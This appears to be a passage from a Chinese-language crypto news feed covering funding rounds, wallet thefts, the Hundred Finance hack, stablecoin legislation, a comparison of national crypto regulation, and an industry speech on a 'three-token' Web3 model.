Network建立在StarkNet上，是将DeFi的原则引入数据基础设施的使用零知识技术的预言机。去年7月，Empiric Network宣布完成700万美元融资，本轮融资由Variant领投，Flow Traders参投，天使投资人包括Polygon联合创始人Sandeep Nailwal等。融资资金将主要用于招聘和扩大开发团队。 Thalex Thalex是专注于期权和期货的加密衍生品交易平台，其与Bitfinex和 Bitstamp合作，使他们的客户能够从用户界面访问全套 Thalex 衍生产品。Thalex 上的头寸可以通过在合作伙伴交易所持有的抵押品在即时免费转移到专用的 Thalex 保证金账户后开立。Bitfinex 合作伙伴关系预计将在今年晚些时候投入运营。去年7月，Thalex宣布已完成 750 万欧元 A 轮融资，Bitfinex、Bitstamp与Flow Traders等参投。 Elwood Technologies 加密技术公司Elwood Technologies属知名对冲基金经理Alan Howard旗下，成立于2018年，是一个专注于加密货币的市场准入和交易平台，为金融科技公司、资产管理公司和其他机构投资者提供服务。其去年2月与彭博社进行战略整合，面向彭博资产和投资管理器AIM的机构客户提供服务。去年5月，Elwood Technologies完成7000万美元A轮融资，高盛与Dawn Capital领投，Flow Traders参投。 Tonic Tonic是NEAR生态DEX协议，成立于2022年1月，其去中心化协用于快速、无缝地交易 NEAR 和Aurora 上的任何资产。 去年4月，Tonic宣布完成 500 万美元融资，Electric Capital 和 MOVE Capital 领投，Flow Traders参投，本轮融资将用于扩大团队并扩大规模。 BloXroute BloXroute是为以太坊、Polygon 和 Binance 智能链上的 DeFi 交易者提供区块链分发网络的服务提供商。其推出的高性能区块链分布式网络(BDN)，允许其用户避免网络拥塞并可靠地接收有关买卖订单、价格、头寸的重要信息。BloXroute于去年4月宣布完成 7000 万美元 B 轮融资，软银旗下 SoftBank Vision Fund 2 领投，Flow Traders参投，软银集团投资总监Robert Kaplan随后加入了BloXroute 董事会。 Ondo Finance DeFi借贷协议Ondo Finance由前高盛集团的Nathan Allman与Pinku Surana创立。其金库包括固定收益和可变收益两种类型，固定收益金库寻求稳定的收益，可变收益金库通过杠杆实现收益的最大化。2021年8月，Ondo宣布完成400万美元种子轮融资，由Pantera Capital领投。 AllianceDAO Alliance DAO的前身是Web3孵化器DeFi Alliance（DeFi 联盟）。2022 年 1 月，DeFi Alliance 创建去中心化组织组织Alliance DAO，并完成 5000 万美元融资，超 300 名贡献者加入 DAO 并参与融资，由此Alliance DAO开始取代DeFiAlliance进入大众视野，是WEB3领域最大的加速DAO之一。 Kemet Trading Kemet Trading是为机构投资者设计的数字资产衍生品交易的简化解决方案，旨在为数字资产衍生品交易提供机构级基础设施，优化对流动性、数据、交易执行和交易后工作流程的访问。提供通过CeFi和DeFi访问最佳的流动性场所等服务。 Astaria NFT借贷平台和流动性引擎，允许用户将他们的 NFT 作为抵押品来赚取即时流动性，曾领导去中心化金融 (DeFi) 协议 Sushi 并在 ConsenSys 工作过的加密货币资深人士，Astaria 最终将整合以太坊以外的多个链，以支持其他加密货币的贷款。800 万美元的种子资金，Wintermute和Flow Traders等参投。 D2X D2X总部位于阿姆斯特丹，旨在为欧洲的数字资产建立一个开创性的机构级和受监管的期权和期货交易所，为金融机构提供资本高效且干净的资产类别敞口，同时降低运营和监管风险。D2X采用监管优先的方法，与现有的欧盟监管框架保持一致。其于2022年初完成了500万欧元的种子轮融资，Tioga Capital Partners领投。 Crossover Markets 数字资产交易公司 Crossover Markets正在推出一个新的交易场所 CrossX，以满足参与加密市场的机构的流动性要求。CrossX 将使客户能够创建定制的暗色和亮色流动资金池。它还将支持匿名、公开和半公开交易。平台上的交易费用为 0.01%。今年3月，Crossover Markets完成635 万美元种子轮融资，Flow Traders、Wintermute等参投。 GoGoPool 去中心化质押协议GoGoPool基于L1 区块链Avalanche，旨在为其带来流动性质押，简化在Avalanche区块链上启动子网的过程。 去年8月，GoGoPool完成500万美元种子轮融资， Framework Ventures 和Coinfund共同领投，Flow Traders等参投。 Injective 针对DeFi优化的公链Injective于今年1月宣布启动1.5亿美元规模的生态系统计划，以进一步促进开发人员在其链上构建全新应用。还有其他机构也加入了此项计划，包括Pantera Capital、Kucoin Ventures、Jump Crypto、IDG Capital、Gate Labs、Delphi Labs、Flow Traders 和 Kraken Ventures。Injective生态基金目前，也是Cosmos社区中规模最大的基金之一。 Econia Labs Econia Labs是为Aptos区块链开发订单簿协议的初创公司，并与Aptos 团队合作对该协议进行开发。今年3月，其在Dragonfly领投的种子轮融资中筹集了650万美元，这轮融资的其他支持者包括Aptos Labs、Wintermute Ventures和Flow Traders等。该公司将利用这笔资金扩大其团队，支持黑客马拉松和赠款计划等社区计划，并帮助开发人员加入 Aptos 和 Econia 生态系统。  ( 4 min )
    分布式资本合伙人沈波：钱包已被盗，卖出LQTY非其本人操作
    PANews 4月16日消息，分布式资本合伙人沈波对此前有关其“卖出超过55万枚LQTY”的消息向PANews回应，称其钱包地址已被盗，卖出操作非其个人行为。据Spot On Chain监测，分布式资本创始合伙人沈波在9小时前以2.42美元的高价将557,140 枚LQTY兑换为613枚ETH，总价值为135万美元。 据此前消息，去年11月23日，沈波在推特上表示：“个人常用894结尾钱包，共4200万美元价值资产，其中包含3800万枚USDC在纽约时间11月10日凌晨被盗。被盗资产为个人资金，与分布式相关基金无关”。  ( 1 min )
    数据：以太坊升级以来净提款52万枚ETH，108万枚ETH待提款
    PANews 4月16日消息，Token Unlock数据显示，自以太坊上海升级完成以来，已有77万枚ETH解除质押，25万枚ETH新存入质押，净提款52万枚ETH。此外，当前有108万枚ETH处于待提款状态，验证者数量约为 46万名。  ( 1 min )
    分布式资本合伙人沈波卖出超过55万枚LQTY，总价值为135万美元
    PANews 4月16日消息，据Spot On Chain监测，分布式资本创始合伙人沈波在9小时前以2.42美元的高价将557,140 枚LQTY兑换为613枚ETH，总价值为135万美元。在沈波完成卖出交易后，LQTY价格跌至2.3美元 (下跌 5%)。 沈波是Liquidity Protocol的天使投资人，因此这笔交易的成本未知。自2022年7月解锁以来，他一直持有这些LQTY。 更新：分布式资本合伙人沈波回应：钱包已被盗，卖出LQTY非其本人操作  ( 1 min )
    同与不同：各国加密监管态度及风格对比
    原文：《美日韩、新加坡、香港加密监管态度及风格对比》 作者：一尔 出品：奔跑财经 比特币诞生之始，只是极客文化圈内流行的小众货币。但随着区块链的愈发火热，加密货币的市场不断扩大。全球加密货币的持有者已经突破2亿，中国的加密货币所有者已经超过1900万，真正实现了从小众走向大众。在几年时间内，加密市场已经发展到各个国家无法忽视的程度，对于政府来说，监管已经成了不得不考虑的问题。但直到目前为止，全球仍未对加密货币形成共识，各个国家对加密的态度也未见明朗。 本篇文章将细数在加密领域备受关注的五个国家、地区监管风格的演变历程，以及当前这些国家对加密的监管是何态度。 美国始终是加密领域全球最为关注的国家，但是美国在加密领域的监管上并未处于全球领先，相比于日本、新加坡等国家，美国对加密货币的监管政策更加模糊、不可预测。 2017年之前，加密货币仍然处于肆意生长的阶段，美国的监管政策也只是把控整体风险，并未出现严令禁止或者加快立法的迹象。 2017年，加密货币开始了ICO热潮，各个国家的监管政策都开始收紧，美国SEC首次针对加密货币发布公告，在《投资者公告：首次代币发行》中明确了ICO活动属于联邦证券法管辖的范畴。此次虽为美国官方首次发声，但对加密的态度仍是加强监管，而非禁止。 2019年1月，Binance与OKEx和KuCoin等加密货币交易所一起重新开放了其IEO（首次交易所发行）的平台，让代币可以进行交易和买卖，但这起事件后不久，这些交易所便被监管机构盯上。之后，Binance被禁止在美国运行。自此，美国便开始了对加密货币的严厉打击。美国将其作为证券而非资产或货币进行监管，这也就意味着加密货币将面临《证券法》的众多限制和约束。 但随着越来越多的加密爱好者加入，再加上加密机构不断的呼吁和游说，美国对加密货币的态度在2021年发生了转变。 2021年2月，Gary Gensler成为信任美国证券和交易委员会（SEC）主席，其曾在麻省理工教授“区块链和货币”，对加密货币与区块链更友好，这也是美国对加密货币态度转变的加速器。之后不久，美国就允许Coinbase在纳斯达克证券交易所上市，这也是第一家在美国上市的加密货币交易所。自此，美国便开始积极研究对加密的相关监管。 直至2022年，Luna、FTX接连暴雷，美国成了这两起事件损失最严重的国家之一，对加密的监管密度也开始扩大。 2022年9月，美国发布了首个加密货币行业监管框架草案，但直到目前为止，美国还没有通过任何法律。近日，美国监管对CZ、孙宇晨均发起了诉讼，监管强度有愈演愈烈的趋势。 美国当前的监管仍然是由联邦和各州共同监管。联邦层面的监管并非由专门的监管机构负责，而是由证券交易委员会（SEC）和商品期货交易委员会（CFTC）共同监管，其中SEC被赋予了大部分的监管权力。但两个监管机构在监管职责和监管标准上尚未达成一致。而且在州层面，各州对加密货币的态度和监管强度也不一致。比如，一些州制定了有利于加密货币的法规，而另一些州，如爱荷华州通过了一项法案，禁止政府机构接收加密货币作为付款方式。但一直有消息称，美国政府正考虑建立统一的监管框架，以消除州际间的监管差异。 至于对监管立法的态度，美国两党各执己见，一些地方政客也并未把加密监管当作紧急事务，甚至根本不关心加密货币，加密监管立法夹杂在党政之争中，短时间内更难达成共识。 但美国总统拜登曾签署了一项名为“确保负责任地开发数字资产”的行政命令，该命令强调让联邦机构采取统一的方法来监管加密货币，共同解决加密货币的风险。同时表明了支持加密货币创新的立场，并希望美国在加密领域的技术能在全球领先。 美国在加密领域的监管上，并未走在世界前列。因为美国追求的是风险可控，并利用一定的创新推动加密领域的发展。可以说，美国更希望走在世界前列的是加密技术，而并非加密监管。监管政策的模糊，对于加密企业来说增加了市场不稳定因素，但这也留给了加密技术些许创新的空间，而这也正是之前总统拜登所强调的“解决风险，支持创新”。 日本也是长期以来一直在加密领域深度活跃的国家，加密领域的任何一次变革也都少不了日本的身影。日本政府自加密货币发展初期就积极寻求为加密行业创建一个健全的、受监管的环境，目前已经为加密货币专门出台了法律法规，将比特币合法化并纳入监管。 2014年，全球许多国家纷纷对加密货币表态，有的国家严令禁止，有的国家谨慎观望。而日本则早在2014年便经历了行业最严重的挫折之一——日本当时最大的比特币交易所Mt. Gox倒闭。这起事件是加密货币历史上一次重大灾难，该交易所当时承担着超过80%的比特币交易，是当时全球最大的加密货币交易所。这一事件也直接引发了投资者对于加密监管问题的关注，投资者迫切需要一个稳定、安全的加密投资环境。自此，日本开始对加密货币行业实施更为严格的监管，并且采取比美国等其他国家更清晰、明了的管控政策。 2016年，日本国会就开始积极对加密货币进行立法，在《资金结算法》中增加了“虚拟货币”一章，对虚拟货币进行定义，并设定了相关监管细则。旨在保护虚拟货币投资者的权益，并防范虚拟货币被用作洗钱等非法用途。 2017年，日本修改了《支付服务法》，将加密货币交易所纳入监管范畴，并由金融服务局（FSA）监管。这项制度不仅将比特币纳入了监管，将加密货币作为正常的支付手段，也让日本成为了第一个将比特币合法化的国家。同年12月，日本国家税务局开始对来自加密领域的收入进行收税，相比于新加坡，日本的税收更高。 2018年当地交易所CoinCheck遭受5.3亿美元的黑客攻击，也成为了日本加密政策的转折点。事件之后，日本的加密交易所加强了自我监管，机构也开展了极为密集的监管。日本对待加密的态度一直是严格的监管，并将其作为新兴领域，积极促进相关监管的立法。 2022年6月，日本通过了《资金结算法》修正案，正式通过了对稳定币的立法，成为了世界上第一个创建稳定币法律框架的国家。此举为保护数字货币的使用者，将稳定币与日元或其他法定货币挂钩，保证币值的稳定。 日本完善的监管环境让许多加密企业能够稳定、持续的发展起来，并且在FTX倒闭事件中，保护了许多投资者免受损失。 总的来说，日本的加密货币监管清晰、严格，注重行业引导而非禁止行业发展，最重要的是，它一直致力于保护散户投资者，并且一直试图填补加密货币相关立法上的空白。 日本对待加密的态度一直是进行系统的立法和监管，也正因为其明确的监管态度，使得加密企业在日本市场的预期更清晰。 作为亚洲第四大经济体，韩国是加密货币市场最为活跃的国家之一，20%的年轻人都是加密货币的交易者。即使加密渗透率极高，目前韩国仍没有像日本一样将其纳入法律。 2017年以来，各种形式的代币发行在韩国已被禁止。同时，政府还针对用虚拟货币从事违法犯罪活动进行了规定。此外，针对保护加密投资者的规定包括要求实名制、禁止未成年（20岁以下）和禁止不在韩国居住的外国人开设账户等。关于加密的监管规定，韩国的政策更加一刀切，只对重大违法情况进行了规定，相关细则缺失。许多监管规则并非国会层面的立法，而是政府机构或部门出台的规定，监管立法尚未出现。 2021年2月，韩国终于有了加密货币立法的迹象。金融监管部门已经开始对虚拟货币进行立法，这也是监管机构首次开始着手考虑将加密货币立法。 这些均发生在Terra倒闭之前。2022年6月，Terra倒闭后，更加速了韩国加密货币的立法速度。 2022年6月1日，韩国政府宣布成立“数字资产委员会”。其主要目标是提出政策建议，包括新加密货币在交易所上市的标准、ICO的时间表，并在数字资产基本法案（DABA）颁布之前实施投资者保护等。另外，韩国金融监管局还计划成立一个“虚拟资产风险委员会”，这也是Terra事件引出的后续监管措施。 2022年以来，或许是受到众多爆雷事件的影响，韩国开始采取更为密集的加密监管措施。 过去，韩国政府未曾将加密货币视为法定货币，但随着韩国新任总统尹锡烈赢得大选，韩国对加密的态度也在发生转变。尹锡烈曾被称为“加密友好总统”，甚至为获得年轻选民青睐，他曾承诺解除对加密行业的管制，并表示会“采取法律措施，没收通过非法手段获得的加密货币利润，并返还受害者”。就连韩国当地媒体《韩国先驱报》也报道，随着即将上任的韩国总统尹锡烈承诺放宽加密货币监管，市场正朝着显着合法化的方向迈进。 全球国家中，如果有哪个国家自始至终都对加密保持友好开放的态度，那一定就是新加坡。与日本一样，加密货币在新加坡也被认定合法。 2014年，新加坡货币管理局（MAS）为虚拟货币的洗钱和恐怖融资风险而发表声明，成为了世界上第一批对虚拟货币进行监管的国家之一。 在2016-2017年间，加密货币ICO异常活跃，诈骗也极为盛行，许多国家在此时开始对加密货币实行严监管。当时新加坡货币管理局（MAS）对于加密货币的态度是——提示风险，但并不认定其合法。 2019年，新加坡国会通过了《支付服务法》，首次对监管进行立法。新加坡一直以“友好开放”著称，并且相比于日本税收低，因此在之后的两年里吸引来了众多加密企业，成为了加密热土。2021年1月，又对《支付服务法》进行修订和完善，不断扩大受监管的加密货币服务的范围。同样是立法，但新加坡的监管环境相比日本要宽松许多。 2022年，新加坡当局仍在不断完善监管环境，希望在开放的同时，维持金融市场的稳定。并开始把监管的视线放在了散户投资者身上，着手开展相关立法，进一步限制散户投资。新加坡政府也一直在引导散户正视投资风险，并且不鼓励散户参与加密投资。 2023年，新加坡仍在维持加密友好的形象，为拥有数字资产的个人提供税收优惠。 总而言之，新加坡的交易虽然自由，但是FTX崩盘，新加坡也深受影响。在此事件之前，新加坡对加密行业的监管重点放在了洗钱和恐怖主义融资风险，而崩盘后，新加坡为了保护投资者，开始收紧加密政策。 新加坡知名高校教授李国权在接受媒体采访时表示，新加坡对加密资产的经营一向保持友好但不宽松的态度，一直都是反对欺诈、投机、洗钱和不负责任宣传。新加坡的政策一向都是较为稳定和持续性，根据市场情况灵活变通。同日本一样，新加坡的制度始终稳定、可预期，但新加坡为控制金融风险，也在逐渐收紧监管政策。 原本对加密货币持反对怀疑态度的香港，在新一届香港特区政府上任后发生了变化。在经历了几年的观望之后，香港似乎已经从其他国家的错误中找到了适合自己的监管道路。 2018年之前，香港对于加密货币的态度极为谨慎，对于加密货币的监管也一直处于探索期。直到2018年11月，香港才首次将虚拟资产纳入监管。此后，香港一直将加密货币视为“证券”纳入已有法律体系中进行监管，但对于非证券类加密货币，则不进行监管。 这种监管态势一直持续到2021年，香港就《有关香港加强打击洗钱及恐怖分子资金筹集规管的立法建议公众咨询》发布咨询总结，这才有了对加密监管进行立法的迹象。 2022年10月，香港财政司正式发布《有关香港虚拟资产发展的政策宣言》，香港政府转变态度，开始积极拥抱加密等虚拟资产，并有望在之后将加密资产合法化。 2023年开始，香港就开始不断释放出立法的信号。1月31日，香港金管局表示计划将稳定币纳入监管范围。4月14日，金管局发布了加密资产和稳定币讨论文件的咨询总结，期望在2023或2024年落实监管安排。这一切均表示，香港要主动加入加密监管立法的行列中了。 《华尔街日报》4月1日的一篇文章曾提到“如今美国对加密货币的监管比以往任何时候都更严格，而香港则以更加宽松的方式进行监管”。近年来，香港一直处于观望状态，失去了领先地位。但是有了其他国家的经验教训，香港借web3发展的契机，有了重回加密领域的野心，并且有望成为加密货币市场的领导者，但一切结果还要等相关监管落地后才能下定论。 虽然加密货币在全球各国仍未形成共识，但总体而言，对加密货币加强监管仍是未来的趋势。在行业发展初期，严格的监管可能会影响创新。但是当一个行业发展到一定程度后，没有监管会对整个行业造成伤害。加密监管的立法问题逐渐被重视，也证明了整个行业正在向好的方向发展。  ( 2 min )
    数据：过去一周Circle USDC流通量减少8亿美元
    PANews 4月16日消息，据官方数据，过去7天Circle共发行4亿美元USDC，赎回12亿美元USDC，流通量减少约8亿美元。截至4月13日，USDC总流通量为319亿美元，储备量为321亿美元，其中现金46亿美元，短期美国国债274亿美元。  ( 1 min )
    数据：持有超过1枚以太坊的地址数量创1个月低点
    PANews 4月16日消息，Glassnode数据显示，持有超过1枚以太坊的地址数量达到1,739,804个，创1个月低点。  ( 1 min )
    万向区块链肖风：Web3应用的三代币模式及价值（全文）
    4月15日下午，万向区块链董事长、HashKey Group董事长肖风博士在2023香港Web3嘉年华主会场“代币化未来”主题论坛活动上发表《Web3应用的三代币模式》闭幕演讲，他表示，Web3的应用必然是方方面面的需求，Web3应用层面的代币模型和基础协议的代币模型是不同的，基础协议是单代币模型，全球应该统一，应用协议是三代币模型，应用场景各有特色。三代币模型中，第一个是NFT（数据、产品与服务价值），第二个是功能型代币（使用权价值），第三个是证券型代币（所有权价值，也就是股权价值）。 同时，肖风还指出，NFT不仅仅是艺术品、头像，也是自我创造、自我管理、自我证明的。功能型代币设计的基本原则包括，类似生态积分，免费赠送，用来激励用户和启动市场，不能有发行、销售、认购等融资行为，价格发现靠二级市场，也不是公司资产负债表上的资产。证券型代币性质和股票一样，可以在虚拟资产交易所进行STO，STO后就相当于在公链这个全球网络上发售，与功能型代币在同一交易所，可以把用户与投资者结合在一起。 以下为演讲全文（有部分不影响原意的删减）： 肖风：大家下午好！今天是第四天，也是峰会的最后一天。 代币经济学（Token economics）是Web3最核心的话题，有意放在最后一天的下午，作为四天峰会的压轴话题奉献给大家。 我今天的演讲题目是《Web3应用的三代币模式》。刚刚邹博士对于Web3新经济和代币经济学白皮书的解释，其实也是对“三代币模式”的一个解释。 第一， Web3应用必然是Tokenization的。 首先，我的观点是，Web3的应用必然是Tokenization，任何不用Tokenization的方法来构建Web3的商业都不能称为Web3；Web3必然是基于价值互联网，同时也是基于区块链、数字钱包和智能合约的网络。 第二，基础协议与应用协议。 但是，Web3在应用层面的代币模型和区块链基础协议的代币模型有着很大的区别。我们现在所熟悉的是基础协议的代币模型，不论是比特币还是以太坊都是单一Token。 基础协议之所以被设计成一个单一Token，很重要的一个原因在于基础协议应该是全球统一的。互联网的基础协议只能存在一个，如果存在多个，那么互联网对于人类社会的贡献就会减弱。区块链也是如此。 就像互联网一样，当区块链走向应用的时候，单一的Token模型便不再适用。当互联网走向应用层的时候，会催生出各种各样的协议与应用；互联网在应用层面有上百种协议，但在最基础的层面，每一层都只有一个协议——IP、TCP、UDP、HTTP，因为全球需要用统一的基础协议来构建一个全球化的互联网应用。 因此，当我们在讨论区块链应用、Web3商业应用的时候，不要被区块链基础设施的单一模型所困惑。这种困惑是我在过去一年中与很多Web3创业者交流时所感受到的，也正是在交流过程中，我提出了“三代币模型”，可以很好地解决技术问题、性能问题、激励问题以及合规问题。 第二， Web3应用的三代币模型。 Web3应用的三代币模型里面有哪三种代币？ （1）NFT。 （2）功能型Token，Utility Token。 （3）证券型Token，Security Token。 三种代币共同组成了Web3的经济模型，各得其所，各相激励，同时也激励相容。 第三， Web3应用三代币模型的价值。 NFT所代表的价值是商品价值，这个商品包括了产品、服务，也包括了各种数据。功能型Token（Utility Token）代表的是使用权价值/网络价值，获取的是网络效益的价值。 我们前些天曾经讲到过“传真机效应”，即每个人买一台传真机并加入一个传真机网络，就使用这个网络，同时也增加了这个网络的价值，但是传真机网络并不属于任何人，一台传真机加入网络的价值无法抽取和出售，因此网络价值与股东价值是分开的，公司无法从中获利。互联网有很大的网络效应，但网络价值并不属于参与者。而Utility Token则开创性地通过网络效应将网络的价值抽取出来，并使其标准化、份额化、金融化。 证券型Token反映的是Web3参与方的股权、所有权的价值。未来，假设某个Web3应用既采用了功能型Token，同时也证券型Token，那么通常情况下，功能型Token的价值会大于公司项目证券型Token的价值，因为网络效应相较于单独参与者的效应要大得多。 第四， NFT。 大多数Web3创业者在设计Web3商业模式的时候，对NFT的功能、Web3的作用等等并没有足够清晰的认识，也没有足够多的重视。 NFT是数字化的证明，不仅代表着艺术品的所有权、“数字藏品”，也不仅仅是头像。NFT作为数字证明，与现行的各种证明最根本的区别在于NFT是自我创造、自我管理、自我证明。因为NFT是放在数字钱包里的，而数字钱包是由你自己创建的，不论是比特币、以太坊网络还是其他网络的钱包，只要是建立在区块链上，实际上就在自我注册、自我管理、自我证明所拥有的身份、行为、过程、结果、工作量、贡献度，以及你所创建的一些具有知识产权的产品或服务，这是NFT作为数字通证和其他中心化机构所提供的各种证明最本质上的不同。 举个例子，现在ChatGPT可以帮每个人创造出很多产品、服务，但这个产品或服务的产权归属是要去版权局进行登记，还是利用NFT的方式自我管理、自我证明呢？目前为止，至少美国版权局认为基于ChatGPT的创造并不受版权保护。 的确，当10亿人每天都向版权局去申请自己通过ChatGPT所创造出的产品和服务、某项知识，相信任何国家的版权管理部门都会崩溃的。因此，在AGI时代，最好的管理模式是通过NFT进行自我注册、自我管理、自我证明。当你在全球网络上工作和生活的时候，NFT就是最好的工具，帮助证明你的经历、资历、行为、身份。在同一个时间里，如果你能够证明我确实是某个NFT最早的生产者，哪怕只比别人早一分钟，那么它的发明权就应该属于你，而不是别人。 第五， NFT的价值来源。 NFT的价值又从哪里来？我认为它的价值来源于两点，一个是Play to earn，一个是Play to owner。不论是Play to earn边玩边赚，还是Play to owner边玩边拥有，实质上你play的就是那些NFT。当我们在Web3领域设计自己的创业项目时，NFT会是非常重要的工具，是自我管理、自我证明的数字通证。 第六， NFT连接一切。 NFT怎么样帮助我们构建Web3商业呢？NFT是“连接器”，连接了Web2到Web3，连接了现实世界到虚拟世界，当然也连接了你的粉丝和产品、消费者和社区、消费行为和情感体验。 放开脑洞去想，NFT包罗万象，既可以证明一切，也能够代表一切，并且这种证明和代表是自我管理、自我注册的，存在于你的数字钱包中，随身而走。 第七， 功能型Token。 功能型Token面临的最大挑战在于如果法律方面的设计边界不够清晰，那么可能会涉嫌证券发行。因此功能型Token一定要将边界设计得非常清晰，使之远离各种各样的证券法律。 如果把功能型Token定位为生态积分，那么天然地，任何一个公司和项目都有权利发行自己的生态积分，而不会违反任何法律，尤其不会触及到证券发行。既然是生态积分，那么就意味着是免费赠送的，而不能成为融资的工具。不论生态积分未来在二级市场的客户之间/投资者之间发生了多少交易，哪怕高达到1千美元、1万美元，但对于Web3的项目方/公司来说，它永远都是免费赠送给用户的。激励用户，启动市场，但是不能有发行、销售、认购等融资行为，同时也不应该进入公司的资产负债表，因为它并不属于公司的资产，而只是你所设立的一套积分系统，它对于发行方来说是没有价格的。但是用户和投资者会在二级市场上通过交易产生价格，这个价格与发行方无关，你无法操纵影响它。这就是功能型Token设计的一个基本原则。 第九，功能型Token的价值来源。 功能型Token价值又从哪里来呢？功能型Token的投资价值又是从哪里来的呢？就像“传真机效应”里讲到的，你要加入一个非常庞大的传真机网络，这个传真机网络可能价值一百亿美元。你首先得买一台传真机，如果你不买一台传真机，你显然不能获得这个传真机网络的使用许可或者说使用权。 就像比特币和ETH也是一样的，你得持有比特币才可能使用比特币网络，你得持有ETH才可能会使用以太坊这样的区块链网络。 Web3的创业项目也一样，你得有一个Utility Token（功能型代币）才能使用相应的网络。所以，首先它的价值就来自于网络的使用许可，其次你获取了这样一个功能型Token，那你可以去付gas fee。交易所可以付交易佣金，创业公司也会承诺用部分的现金、某个比例的利润来回购、销毁功能型代币。回购行为要设计的法律边界非常清楚。如果你回购以后成为公司资产负债表上的东西和你回购以后把它销毁，是两码事，尽量不在你公司的资产负债表上体现出这样一块资产，你用回购的方式去销毁它，显然在法律边界上会变得更清晰一点，更远离证券属性的判断。 当然Utility Token也拥有社区治理部分的权利。钱包里头持有NFT、Utility Token等的数据在全网是公开的。因此当其他的创业项目，需要用自己的Token来发展用户的时候，可能会往你的钱包里面去空投Token，这个对你来说也是一种福利。热门NFT发行的时候，你更容易被纳入到白名单，这也是一种价值来源。 当然Utility Token最主要、最核心的价值在于体现了网络效应的价值单位。 Web2中的网络效应一直存在，但是网络效应没有自己的价值衡量单位，没有分布式账本、没有区块链，没有办法把网络效应价值单独提取出来标准化、份额化、金融化。 第十，证券型Token。 其实证券型的Token就比较好理解了，它就是公司股权的Tokenization，它性质上和股票是一样的，当一个Web3的创业项目主网启动或者主网上线的时候，就开始发行Utility Token，通过Utility Token去启动市场、奖励用户、获得增长，这是一开始就可以做的。但是公司必须经过一段时间证明商业上的成熟，证明资产负债表稳定，才有可能去IPO。 当Web3创业项目被证明商业模式是成熟的，资产负债表是健康的，商业是可持续的，就可以获得至少两个选择。一是你可以用IPO到股票交易所去交易；二是选择STO，到虚拟资产交易所去交易。 第十一，为什么要STO？ 为什么更应该选择STO呢？ 第一，因为在一个全球网络,比如说以太坊上发行Security Token（证券型代币），可以获得全球投资者的投资，而股票交易所通常是某个司法区域管辖之下的一个地区市场。 第二，STO可以使得你的Security Token和Utility Token在同样一个交易平台上交易，这样方便把消费者、用户跟投资者合为一体。你的粉丝、用户如果真的喜欢你的产品的话，他也会给你的股票或者给你的证券Token一个更好的估值，也许会获得一个更好的流动性。 今天我大致介绍一下有关于Web3应用方面三个代币的模型。 最后，衷心感谢大家参与我们为期四天的Web3嘉年华。说实话，我们在筹备这个会议的时候，真的没有想到会有这么多的朋友来到现场，持续四天都积极热情地参与嘉年华的各项活动。在这里，我代表我们主办方、承办方，以及所有的赞助商，对大家的热情和鼓励表示感谢！谢谢大家！ 点击链接即可查看白皮书原文：https://www.hashkey.com/cn/insights/web3-new-economy-and-tokenization-whitepaper  ( 2 min )
    Hundred Finance 24小时跌幅超过50%
    PANews 4月16日消息，CoinMarketCap行情数据显示，Hundred Finance（HND）下跌超过50%，现报价 0.02145美元，24小时跌幅达 50.91%。 据此前消息，Hundred Finance在Optimism上遭到黑客攻击，损失约700万美元。  ( 1 min )
    美国众议院委员会发布稳定币法案草案
    PANews 4月16日消息，据CoinDesk报道，美国众议院金融服务委员会发布了具有里程碑意义的稳定币法案的草案版本，提议包括暂停使用其他加密货币支持的稳定币以及研究央行数字货币 (CBDC) 的潜在影响。此外，众议院金融服务小组委员会将于周三举行关于稳定币的听证会，与会者包括Circle的Dante Disparte、区块链协会的Jake Chervinsky、哥伦比亚大学教授Austin Campbell和纽约金融服务部主管Adrienne Harris。  ( 1 min )
    zkSync推特账户被盗用，密码被攻击者更改，账户已被保护
    PANews 4月16日消息，zkSync发布关于推特账户被盗用的详细报告，表示冒充者伪造了身份，并在联系推特客户支持时声称自己是zkSync的官方代表。推特的支持人员没有遵循标准程序，并批准了冒充者更改zkSync电子邮件和密码的请求”。zkSync采用严格的安全措施，如频繁更改强密码、启用2FA并将帐户访问限制为少数人。由于启用了2FA，攻击者无法访问zkSync帐户。但是，由于密码已更改，zkSync团队已注销并失去了访问权限。推特随后保护该帐户并密切合作以解决问题。此外推特加快了对金色已验证徽章的申请，现在所有官方附属帐户的名称旁边都有一个小点的zkSync符号。  ( 1 min )
    Hundred Finance遭黑客攻击，损失700万美元
    PANews 4月16日消息，据PeckShield监测，Gnosis链上Compound分叉项目Hundred Finance遭黑客攻击，损失700万美元。根本原因似乎为攻击者捐赠了200枚WBTC来提高hWBTC的汇率，这样即使是少量(2 wei)的hWBTC也基本上可以耗尽当前的贷款池。  ( 1 min )

  • Open

    【英文长推】Sui 浪潮来袭，盘点十个生态项目：OmniBTC、Onchain Trade ……
    Chainfeeds 导读： 此前 Sui 坚称不会有空投，但近日宣布将开启 Sui Token 的 WL 白名单的认购机制，进行代币销售。加密 KOL Emperor 撰推介绍 Sui 的基本信息，并盘点了十个生态项目。 文章来源： https://twitter.com/flowslikeosmo/status/1647404459419648001 文章作者： Emperor Osmo 观点： Emperor Osmo：Sui 是优先考虑快速执行智能合约的 L1。为实现这一目标，它利用 Move 语言、并行交易执行和 Sui 共识引擎，协同工作以确保可扩展性、速度和安全性。背后的 Mysten Labs 迄今已筹集超过 3 亿美元，估值达到 20 亿美元。著名的投资者包括 FTX Ventures、Coinbase Ventures、Jump Crypto、a16z、Circle Ventures 等。【原文为英文】 内容来源 Emperor Osmo：1）OmniBTC，第一个全链金融协议，目标是连接多个生态系统的流动性。2）Onchain Trade，侧重于利用其稳定币 $OSD 的单边流动性效率。3）Araya Finance，目前正在 SUI 上开发世界上第一个流动性质押衍生品、稳定币和游戏代币衍生品协议。4）MovEX，目前正在开发集中流动性 AMM 和智能流动性管理服务。5）Turbos Finance，正在构建第一个在 SUI 上实现零滑点的去中心化永续 DEX。【原文为英文】 内容来源 Emperor Osmo：6）Turbos Finance，目前正在进行激励测试网，让参与者获得额外奖励。7）Cetus Protocol，正在开发 DEX 和集中流动性协议，与传统 AMM 相比，资本效率将高 10 倍。8）KriyaDEX ，快速衍生品交易平台，使用 Move 来创建抗抢先交易的订单簿。9）Umi Protocol 正在构建最广泛的 DEX 聚合器。10）Suipad，第一个在 Sui 上开发的 IDO 和 INO 平台。近期与 Mysten Labs 合作，帮助启动基于 SUI 的重大项目。【原文为英文】 内容来源  ( 2 min )
    LD Capital ：五折买 ETH 机会还是陷阱？深入解析 Grayscale 信托
